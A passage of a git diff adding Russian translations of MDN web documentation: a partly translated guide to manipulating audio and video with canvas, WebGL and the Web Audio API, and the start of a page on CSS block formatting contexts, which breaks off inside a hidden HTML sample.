+ <li><a href="https://github.com/cwilso/AudioContext-MonkeyPatch">AudioContext monkeypatch</a>: A polyfill for older versions of the Web Audio API; Open Source (Apache 2 Licensed.)</li>
+</ul>
+
+<h2 id="Basic_tutorials">Basic tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">Creating a cross-browser video player</a></dt>
+ <dd>A guide to creating a basic cross browser video player using the {{ htmlelement ("video") }} element.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">Video player styling basics</a></dt>
+ <dd>With the cross-browser video player put in place in the previous article, this article now looks at providing some basic, reponsive styling for the player.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics">Cross-browser audio basics</a></dt>
+ <dd>
+ <div>
+ <p>This article provides a basic guide to creating an HTML5 audio player that works cross browser, with all the associated attributes, properties and events explained, and a quick guide to custom controls created using the Media API.</p>
+ </div>
+ </dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/buffering_seeking_time_ranges">Media buffering, seeking, and time ranges</a></dt>
+ <dd>Sometimes it's useful to know how much {{ htmlelement("audio") }} or {{ htmlelement("video") }} has downloaded or is playable without delay — a good example of this is the buffered progress bar of an audio or video player. This article discusses how to build a buffer/seek bar using <a href="/en-US/docs/Web/API/TimeRanges">TimeRanges</a>, and other features of the media API.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/HTML5_playbackRate_explained">HTML5 playbackRate explained</a></dt>
+ <dd>The <code>playbackRate</code> property allows us to change the speed or rate at which a piece of web audio or video is playing. This article explains it in detail.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></dt>
+ <dd>Explains the basics of using the Web Audio API to grab, manipulate and play back an audio source.</dd>
+</dl>
+
+<h2 id="Streaming_media_tutorials">Streaming media tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video">Live streaming web audio and video</a></dt>
+ <dd>Live streaming technology is often employed to relay live events such as sports, concerts and more generally TV and Radio programmes that are output live. Often shortened to just streaming, live streaming is the process of transmitting media 'live' to computers and devices. This is a fairly complex and nascent subject with a lot of variables, so in this article we'll introduce you to the subject and let you know how you can get started.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Setting_up_adaptive_streaming_media_sources">Setting up adaptive streaming media sources</a></dt>
+ <dd>Let's say you want to set up an adaptive streaming media source on a server, to be consumed inside an HTML5 media element. How would you do that? This article explains how, looking at two of the most common formats: MPEG-DASH and HLS (HTTP Live Streaming.)</dd>
+ <dt><a href="/en-US/docs/Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video">DASH Adaptive Streaming for HTML 5 Video</a></dt>
+ <dd>Details how to set up adaptive streaming using DASH and WebM.</dd>
+</dl>
+
+<h2 id="Advanced_tutorials">Advanced tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a></dt>
+ <dd>This article explains how to add captions and subtitles to HTML5 {{ htmlelement("video") }}, using <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Video_Text_Tracks_Format" title="WebVTT is a format for displaying timed text tracks (e.g. subtitles) with the &lt;track> element. The primary purpose of WebVTT files is to add subtitles to a &lt;video>.">Web_Video_Text_Tracks_Format</a> and the {{ htmlelement("track") }} element.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Developing/Manipulating_media/Web_Audio_API_cross_browser" title="/en-US/docs/Web/Apps/Developing/Manipulating_media/Web_Audio_API_cross_browser">Writing Web Audio API code that works in every browser</a></dt>
+ <dd>A guide to writing cross browser Web Audio API code.</dd>
+ <dt><a href="/en-US/Apps/Developing/Manipulating_media/H.264_support_in_Firefox">H.264 support in Firefox</a></dt>
+ <dd>This article explains the state of support for the H.264 video format in Firefox/Firefox OS, including code examples, tips and tricks.</dd>
+ <dt><a href="https://hacks.mozilla.org/2014/06/easy-audio-capture-with-the-mediarecorder-api/">Easy audio capture with the MediaRecorder API</a></dt>
+ <dd>Explains the basics of using the MediaRecorder API to directly record a media stream.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: Firefox OS versions 1.3 and above support the <a href="http://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol" title="http://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol">RTSP</a> protocol for streaming video delivery. A fallback solution for older versions would be to use <code>&lt;video&gt;</code> along with a suitable format for Gecko (such as WebM) to serve fallback content. More information will be published on this in good time.</p>
+</div>
+
+<h2 id="References">References</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">The video element</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Media_events">Media events API</a></li>
+ <li><a href="/en-US/docs/Web/API/HTMLVideoElement">HTMLVideoElement API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaSource">MediaSource API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaDevices/getUserMedia">getUserMedia</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/guide/audio_and_video_manipulation/index.html b/files/ru/web/guide/audio_and_video_manipulation/index.html
new file mode 100644
index 0000000000..0fc7587321
--- /dev/null
+++ b/files/ru/web/guide/audio_and_video_manipulation/index.html
@@ -0,0 +1,404 @@
+---
+title: Обработка аудио и видео
+slug: Web/Guide/Audio_and_video_manipulation
+tags:
+  - Видео
+  - Медиа
+  - Обучение
+  - Примеры
+  - Рекомендации
+  - аудио
+translation_of: Web/Guide/Audio_and_video_manipulation
+---
+<div class="summary">
+<p>Веб-технологии примечательны тем, что они позволяют использовать различные инструменты в совокупности. Например, можно проводить манипуляции над имеющимися в браузере аудио и видео потоками с помощью {{htmlelement("canvas")}}, <a href="/en-US/docs/Web/WebGL">WebGL</a> или <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>: напрямую изменять аудио и видео, т.е. добавлять эффекты к аудио (реверберацию, компрессор), или к видео (фильтры ч/б, сепия и т.д.). В этой статье рассказывается о том, как это сделать.</p>
+</div>
+
+<div class="note">
+<p><strong>Далее</strong> ещё в процессе перевода.</p>
+</div>
+
+<h2 id="Обработка_видео">Обработка видео</h2>
+
+<p>Иногда удобно перенимать индивидуально размеры кадра в пикселях с каждого конкретного видео.</p>
+
+<h3 id="Видео_и_холст_canvas">Видео и холст (canvas)</h3>
+
+<p>Элемент "холст" ({{htmlelement("canvas")}}) — представляет поверхность (область) для рисования графикой на веб-странице. Это очень мощный инструмент, поэтому он может использоваться совместно с видео.</p>
+
+<p>Обычно это происходит следующим образом:</p>
+
+<ol>
+ <li>Write a frame from the {{htmlelement("video")}} element to an intermediary {{htmlelement("canvas")}} element.</li>
+ <li>Read the data from the intermediary <code>&lt;canvas&gt;</code> element and manipulate it.</li>
+ <li>Write the manipulated data to your "display" <code>&lt;canvas&gt;</code>.</li>
+ <li>Pause and repeat.</li>
+</ol>
+
+<p>For example, let's process a video to display it in greyscale. In this case, we'll show both the source video and the output greyscale frames. Ordinarily, if you were implementing a "play video in greyscale" feature, you'd probably add <code>display: none</code> to the style for the <code>&lt;video&gt;</code> element, to keep the source video from being drawn to the screen while showing only the canvas showing the altered frames.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<p>We can set up our video player and <code>&lt;canvas&gt;</code> element like this:</p>
+
+<pre class="brush: html notranslate">&lt;video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"&gt;
+  &lt;source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"&gt;
+  &lt;source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"&gt;
+&lt;/video&gt;
+
+&lt;canvas id="my-canvas" width="480" height="270"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>This code handles altering the frames.</p>
+
+<pre class="brush: js notranslate">var processor = {
+  timerCallback: function() {
+    if (this.video.paused || this.video.ended) {
+      return;
+    }
+    this.computeFrame();
+    var self = this;
+    setTimeout(function () {
+      self.timerCallback();
+    }, 16); // roughly 60 frames per second
+  },
+
+  doLoad: function() {
+    this.video = document.getElementById("my-video");
+    this.c1 = document.getElementById("my-canvas");
+    this.ctx1 = this.c1.getContext("2d");
+    var self = this;
+
+    this.video.addEventListener("play", function() {
+      self.width = self.video.width;
+      self.height = self.video.height;
+      self.timerCallback();
+    }, false);
+  },
+
+  computeFrame: function() {
+    this.ctx1.drawImage(this.video, 0, 0, this.width, this.height);
+    var frame = this.ctx1.getImageData(0, 0, this.width, this.height);
+    var l = frame.data.length / 4;
+
+    for (var i = 0; i &lt; l; i++) {
+      var grey = (frame.data[i * 4 + 0] + frame.data[i * 4 + 1] + frame.data[i * 4 + 2]) / 3;
+
+      frame.data[i * 4 + 0] = grey;
+      frame.data[i * 4 + 1] = grey;
+      frame.data[i * 4 + 2] = grey;
+    }
+    this.ctx1.putImageData(frame, 0, 0);
+
+    return;
+  }
+};  </pre>
+
+<p>Когда страница загрузилась осуществите вызов:</p>
+
+<pre class="brush: js notranslate">processor.doLoad()</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample("Video_and_canvas", '100%', 580)}}</p>
+
+<p>This is a pretty simple example showing how to manipulate video frames using a canvas. For efficiency, you should consider using {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} instead of <code>setTimeout()</code> when running on browsers that support it.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Due to potential security issues if your video is on a different domain than your code, you'll need to enable <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS (Cross Origin Resource Sharing)</a> on your video server.</p>
+</div>
+
+<h3 id="Видео_и_WebGL">Видео и WebGL</h3>
+
+<p><a href="/en-US/docs/Web/WebGL">WebGL</a> is a powerful API that uses canvas to draw hardware-accelerated 3D or 2D scenes. You can combine WebGL and the {{htmlelement("video")}} element to create video textures, which means you can put video inside 3D scenes.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510) }}</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: You can find the <a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample8">source code of this demo on GitHub</a> (<a href="https://mdn.github.io/webgl-examples/tutorial/sample8/">see it live</a> also).</p>
+</div>
+
+<h3 id="Скорость_воспроизведения">Скорость воспроизведения</h3>
+
+<p>We can also adjust the rate that audio and video plays at using an attribute of the {{htmlelement("audio")}} and {{htmlelement("video")}} element called {{domxref("HTMLMediaElement.playbackRate", "playbackRate")}}. <code>playbackRate</code> is a number that represents a multiple to be applied to the rate of playback, for example 0.5 represents half speed while 2 represents double speed.</p>
+
+<p>Note that the <code>playbackRate</code> property works with both <code>&lt;audio&gt;</code> and <code>&lt;video&gt;</code>, but in both cases, it changes the playback speed but <em>not</em> the pitch. To<span style=""> manipulate the audio's pitch you need to use the Web Audio API. See the {{domxref("AudioBufferSourceNode.playbackRate")}} property.</span></p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;video id="my-video" controls
+       src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v"&gt;
+&lt;/video&gt;</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js notranslate">var myVideo = document.getElementById('my-video');
+myVideo.playbackRate = 2;</pre>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;video id="my-video" controls="true" width="480" height="270"&gt;
+  &lt;source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"&gt;
+  &lt;source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"&gt;
+&lt;/video&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+var myVideo = document.getElementById('my-video');
+myVideo.playbackRate = 2;&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function setPlaybackRate() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  setPlaybackRate();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', setPlaybackRate);
+window.addEventListener('load', setPlaybackRate);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 425) }}</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Попробуйте запустить <a href="http://jsbin.com/qomuvefu/2/edit">этот пример</a>.</p>
+</div>
+
+<h2 id="Обработка_аудио">Обработка аудио</h2>
+
+<p><code>playbackRate</code> aside, to manipulate audio you'll typically use the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>.</p>
+
+<h3 id="Выбор_источника_аудио">Выбор источника аудио</h3>
+
+<p>The Web Audio API can receive audio from a variety of sources, then process it and send it back out to an {{domxref("AudioDestinationNode")}} representing the output device to which the sound is sent after processing.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">If the audio source is...</th>
+   <th scope="col">Use this Web Audio node type</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>An audio track from an HTML {{HTMLElement("audio")}} or {{HTMLElement("video")}} element</td>
+   <td>{{domxref("MediaElementAudioSourceNode")}}</td>
+  </tr>
+  <tr>
+   <td>A plain raw audio data buffer in memory</td>
+   <td>{{domxref("AudioBufferSourceNode")}}</td>
+  </tr>
+  <tr>
+   <td>An oscillator generating a sine wave or other computed waveform</td>
+   <td>{{domxref("OscillatorNode")}}</td>
+  </tr>
+  <tr>
+   <td>An audio track from <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> (such as the microphone input you can get using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.</td>
+   <td>{{domxref("MediaStreamAudioSourceNode")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Аудио_фильтры">Аудио фильтры</h3>
+
+<p>The Web Audio API has a lot of different filter/effects that can be applied to audio using the {{domxref("BiquadFilterNode")}}, for example.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;video id="my-video" controls
+       src="myvideo.mp4" type="video/mp4"&gt;
+&lt;/video&gt;</pre>
+
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js notranslate">var context = new AudioContext(),
+    audioSource = context.createMediaElementSource(document.getElementById("my-video")),
+    filter = context.createBiquadFilter();
+audioSource.connect(filter);
+filter.connect(context.destination);
+
+// Configure filter
+filter.type = "lowshelf";
+filter.frequency.value = 1000;
+filter.gain.value = 25;</pre>
+
+<div class="hidden">
+<h6 id="Playable_code_2" name="Playable_code_2">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"&gt;
+  &lt;source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"&gt;
+  &lt;source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"&gt;
+&lt;/video&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+filter.type = "lowshelf";
+filter.frequency.value = 1000;
+filter.gain.value = 25;&lt;/textarea&gt;</pre>
+
+<pre class="brush: js notranslate">var context     = new AudioContext(),
+    audioSource = context.createMediaElementSource(document.getElementById("my-video")),
+    filter      = context.createBiquadFilter();
+audioSource.connect(filter);
+filter.connect(context.destination);
+
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function setFilter() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  setFilter();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', setFilter);
+window.addEventListener('load', setFilter);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', 700, 425) }}</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: unless you have <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a> enabled, to avoid security issues your video should be on the same domain as your code.</p>
+</div>
+
+<h4 id="Типичные_для_аудио_фильтры">Типичные для аудио фильтры</h4>
+
+<p>These are some of the common types of audio filter you can apply:</p>
+
+<ul>
+ <li>Low Pass: Allows frequencies below the cutoff frequency to pass through and attenuates frequencies above the cutoff.</li>
+ <li>High Pass: Allows frequencies above the cutoff frequency to pass through and attenuates frequencies below the cutoff.</li>
+ <li>Band Pass: Allows a range of frequencies to pass through and attenuates the frequencies below and above this frequency range.</li>
+ <li>Low Shelf: Allows all frequencies through, but adds a boost (or attenuation) to the lower frequencies.</li>
+ <li>High Shelf: Allows all frequencies through, but adds a boost (or attenuation) to the higher frequencies.</li>
+ <li>Peaking: Allows all frequencies through, but adds a boost (or attenuation) to a range of frequencies.</li>
+ <li>Notch: Allows all frequencies through, except for a set of frequencies.</li>
+ <li>Allpass: Allows all frequencies through, but changes the phase relationship between the various frequencies.</li>
+</ul>
+
+<div class="note">
+<p><strong>Примечание</strong>: Более подробно смотрите здесь: {{domxref("BiquadFilterNode")}}</p>
+</div>
+
+<h3 id="Convolutions_and_impulses">Convolutions and impulses</h3>
+
+<p>It's also possible to apply impulse responses to audio using the {{domxref("ConvolverNode")}}. An <strong>impulse response</strong> is the sound created after a brief impulse of sound (like a hand clap). An impulse response will signify the environment in which the impulse was created (for example, an echo created by clapping your hands in a tunnel).</p>
+
+<h4 id="Пример">Пример</h4>
+
+<pre class="brush: js notranslate">var convolver = context.createConvolver();
+convolver.buffer = this.impulseResponseBuffer;
+// Connect the graph.
+source.connect(convolver);
+convolver.connect(context.destination);
+</pre>
+
+<p>See this <a href="https://codepen.io/a2sheppy/pen/JjPgVYL">Codepen</a> for an applied (but very, very silly; like, little kids will giggle kind of silly) example.</p>
+
+<h3 id="Spatial_audio">Spatial audio</h3>
+
+<p>We can also position audio using a <strong>panner node</strong>. A panner node—{{domxref("PannerNode")}}—lets us define a source cone as well as positional and directional elements, all in 3D space as defined using 3D cartesian coordinates.</p>
+
+<h4 id="Пример_2">Пример</h4>
+
+<pre class="brush: js notranslate">var panner = context.createPanner();
+panner.coneOuterGain = 0.2;
+panner.coneOuterAngle = 120;
+panner.coneInnerAngle = 0;
+
+panner.connect(context.destination);
+source.connect(panner);
+source.start(0);
+
+// Position the listener at the origin.
+context.listener.setPosition(0, 0, 0);</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: You can find an <a href="https://github.com/mdn/webaudio-examples/tree/master/panner-node">example on our GitHub repo</a>sitory (<a href="https://mdn.github.io/webaudio-examples/panner-node/">see it live</a> also).</p>
+</div>
+
+<h2 id="Кодеки_JavaScript">Кодеки JavaScript</h2>
+
+<p>It's also possible to manipulate audio at a low level using JavaScript. This can be useful should you want to create audio codecs.</p>
+
+<p>Libraries currently exist for the following formats :</p>
+
+<ul>
+ <li>AAC: <a href="https://github.com/audiocogs/aac.js">AAC.js</a></li>
+ <li>ALAC: <a href="https://github.com/audiocogs/alac.js">alac.js</a></li>
+ <li>FLAC: <a href="https://github.com/audiocogs/flac.js">flac.js</a></li>
+ <li>MP3: <a href="https://github.com/audiocogs/mp3.js">mp3.js</a></li>
+ <li>Opus: <a href="https://github.com/audiocogs/opus.js">Opus.js</a></li>
+ <li>Vorbis: <a href="https://github.com/audiocogs/vorbis.js">vorbis.js</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Примечание</strong>: At Audiocogs, you can <a href="http://audiocogs.org/codecs/">Try out a few demos</a>; Audiocogs also provides a framework, <a href="http://audiocogs.org/codecs/">Aurora.js</a>, which is intended to help you author your own codecs in JavaScript.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<ul>
+ <li><a href="https://github.com/mdn/">Various Web Audio API (and other) examples</a></li>
+ <li><a href="https://github.com/chrisdavidmills/threejs-video-cube">THREE.js Video Cube example</a></li>
+ <li><a href="http://chromium.googlecode.com/svn/trunk/samples/audio/convolution-effects.html">Convolution Effects in Real-Time</a></li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<h3 id="Tutorials">Tutorials</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Manipulating_video_using_canvas">Manipulating Video Using Canvas</a></li>
+ <li><a href="/en-US/Apps/Build/Manipulating_media/HTML5_playbackRate_explained">HTML5 playbackRate explained</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
+ <li><a href="/en-US/docs/Web/WebGL/Animating_textures_in_WebGL#Using_the_video_frames_as_a_texture">Using Video frames as a WebGL Texture</a> (You can also the <a href="http://threejs.org">THREE.js</a> WebGL library (and others) to <a href="http://stemkoski.github.io/Three.js/Video.html">achieve this effect</a>)</li>
+ <li><a href="/en-US/docs/Web/WebGL/Animating_textures_in_WebGL">Animating Textures in WebGL</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webaudio/games/#toc-room">Developing Game Audio with the Web Audio API (Room effects and filters)</a></li>
+</ul>
+
+<h3 id="Reference">Reference</h3>
+
+<ul>
+ <li>The {{htmlelement("audio")}} and {{htmlelement("video")}} elements</li>
+ <li>The {{domxref("HTMLMediaElement")}} API</li>
+ <li>The {{htmlelement("canvas")}} element</li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/AudioContext">AudioContext</a></li>
+ <li>More info on <a href="/en-US/docs/Web/API/AudioContext.createPanner">Spatial Audio</a></li>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Apps/Fundamentals/")}}</div>
+
+<div></div>
diff --git a/files/ru/web/guide/css/block_formatting_context/index.html b/files/ru/web/guide/css/block_formatting_context/index.html
new file mode 100644
index 0000000000..599d22764b
--- /dev/null
+++ b/files/ru/web/guide/css/block_formatting_context/index.html
@@ -0,0 +1,142 @@
+---
+title: Блочный контекст форматирования
+slug: Web/Guide/CSS/Block_formatting_context
+tags:
+  - CSS
+  - CSS Basic Concepts
+  - Для начинающих
+  - Основы
+translation_of: Web/Guide/CSS/Block_formatting_context
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p><strong>Блочный контекст форматирования </strong>— часть механизма отображения веб-страницы в CSS. Это та область, в которой происходит расположение блочных элементов, и в котором плавающие элементы взаимодействуют с другими элементами.</p>
+
+<p>Блочный контекст форматирования создаёт один из следующих способов (методов):</p>
+
+<ul>
+ <li>корневой элемент документа (<code>&lt;html&gt;</code>).</li>
+ <li>плавающие элементы (элементы, у которых {{ cssxref("float") }} не равно <code>none</code>)</li>
+ <li>абсолютно позиционированные элементы (элементы, значение  {{ cssxref("position") }} которых либо <code>absolute</code>, либо <code>fixed</code>)</li>
+ <li>«строчные блоки» (элементы с {{cssxref("display")}}<code>: inline-block</code>)</li>
+ <li>ячейки таблицы (элементы с {{ cssxref("display")}}<code>: table-cell</code>, являющимся значением по умолчанию для ячеек таблицы в HTML)</li>
+ <li>заголовки таблицы (элементы с {{ cssxref("display")}}<code>: table-caption</code>, являющимся значением по умолчанию для заголовков таблицы в HTML)</li>
+ <li>анонимные ячейки таблицы, неявно создаваемые элементами с {{ cssxref("display") }}<code>: table</code>, <code>table-row</code>, <code>table-row-group</code>, <code>table-header-group</code>, <code>table-footer-group</code> (значения по умолчанию для таблиц, строк таблиц, «шапок», «подвалов» и тел таблиц в HTML соответственно) либо <code>inline-table</code></li>
+ <li>элементы, у которых значение свойства {{ cssxref("overflow") }} отличается от <code>visible</code></li>
+ <li>{{ cssxref("display") }}<code>: <a href="https://drafts.csswg.org/css-display/#valdef-display-flow-root">flow-root</a></code></li>
+ <li>элементы с {{ cssxref("contain") }}<code>: layout</code>, <code>content</code> или <code>strict</code></li>
+ <li>флекс-элементы (непосредственные потомки элемента с {{ cssxref("display") }}<code>: flex</code> или <code>inline-flex</code>)</li>
+ <li>грид-элементы (непосредственные потомки элемента с {{ cssxref("display") }}<code>: grid</code> или <code>inline-grid</code>)</li>
+ <li>многоколоночные контейнеры (элементы, у которых {{ cssxref("column-count") }} или {{ cssxref("column-width") }}  не равно <code>auto</code>, включая элементы с <code>column-count: 1</code>)</li>
+ <li>{{ cssxref("column-span") }}<code>: all</code> должно всегда создавать новый блочный контекст форматирования, даже если элемент с <code>column-span: all</code> не находится в многоголоночном контейнере (<a href="https://github.com/w3c/csswg-drafts/commit/a8634b96900279916bd6c505fda88dda71d8ec51">изменение в спецификации</a>, <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=709362">баг Chrome</a>).</li>
+</ul>
+
+<p>Блочный контекст форматирования применяется ко всему содержимому того элемента, который его создал.</p>
+
+<p>Блочные контексты форматирования важны для размещения плавающих элементов (см. {{ cssxref("float") }}) и отмены их обтекания (см.{{ cssxref("clear") }}) . Правила размещения плавающих элементов и сброса обтекания применяются только к элементам внутри одного и того же блочного контекста форматирования. Плавающие элементы не влияют на размещение содержимого внутри других блочных контекстов форматирования, и отмена обтекания распространяется только на плавающие элементы из того же самого контекста форматирования. <a href="/ru/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Схлопывание внешних отступов</a> тоже происходит только между блоками из одного и того же блочного контекста форматирования.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Как_сделать_плавающему_контенту_и_соседнему_с_ним_контенту_одинаковую_высоту">Как сделать плавающему контенту и соседнему с ним контенту одинаковую высоту</h3>
+
+<p>Давайте рассмотрим пару примеров, чтобы рассмотреть эффект от создания нового блочного контекста форматирования.</p>
+
+<p>В примере ниже мы имеем плавающий элемент внутри <code>&lt;</code><code>div&gt;</code> с заданным <code>border</code>. Содержимое этого <code>&lt;div&gt;</code> обтекает плавающий элемент. Так как содержимое <code>float</code> выше, чем остальное содержимое, обтекающее его, <code>border</code> элемента <code>div</code> теперь проходит сквозь <code>float</code>. Как объясняется в руководстве <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a>, плавающий элемент был исключен из потока элементов, так что фон и граница <code>div</code> включает только его содержимое, но не элемент <code>float</code>. </p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}</p>
+
+<h3 id="Использование_overflow_auto">Использование <code>overflow: auto;</code></h3>
+
+<p>Создадим новый блочный контекст форматирования, который будет содержать в себе плавающий элемент. Раньше обычным способом сделать это было установить <code>overflow: auto</code> или другое значение, отличное от значения по умолчанию <code>overflow: visible</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-overflow.html", '100%', 720)}}</p>
+
+<p>Задание <code>overflow: auto</code> создало новый блочный контекст форматирования, включающий <code>float</code>. Теперь <code>div</code> стал мини-слоем внутри нашего слоя. Любые дочерние элементы войдут в него.</p>
+
+<p>Проблема использования <code>overflow</code> для создания нового блочного контекста форматирования в том, что свойство <code>overflow</code> предназначено для сообщения браузеру как обращаться с переполнением содержимого. Существуют случаи, в которых оно вызовет появление нежелательных скролл-баров или обрезание теней, когда вы используете это свойство только для того, чтобы создать блочный контекст форматирования. Кроме того, оно потенциально делает код менее понятным для следующего разработчика, так как не всегда очевидно, почему использовано <code>overflow</code> в данном случае. Если вы используете этот подход, хорошей идеей будет прокомментировать код, чтобы объяснить это.</p>
+
+<h3 id="Использование_display_flow-root">Использование <code>display: flow-root</code></h3>
+
+<div id="flowroot">
+<p>Одно из новых значений свойства <code>display</code>  позволяет нам создавать новый блочный контекст форматирования без всяких потенциально проблемных побочных эффектов. Использование <code>display: flow-root</code> как свойство содержащего блока, создаёт новый блочный контекст форматирования.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>box<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>float<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>I am a floated box!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>I am content inside the container.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
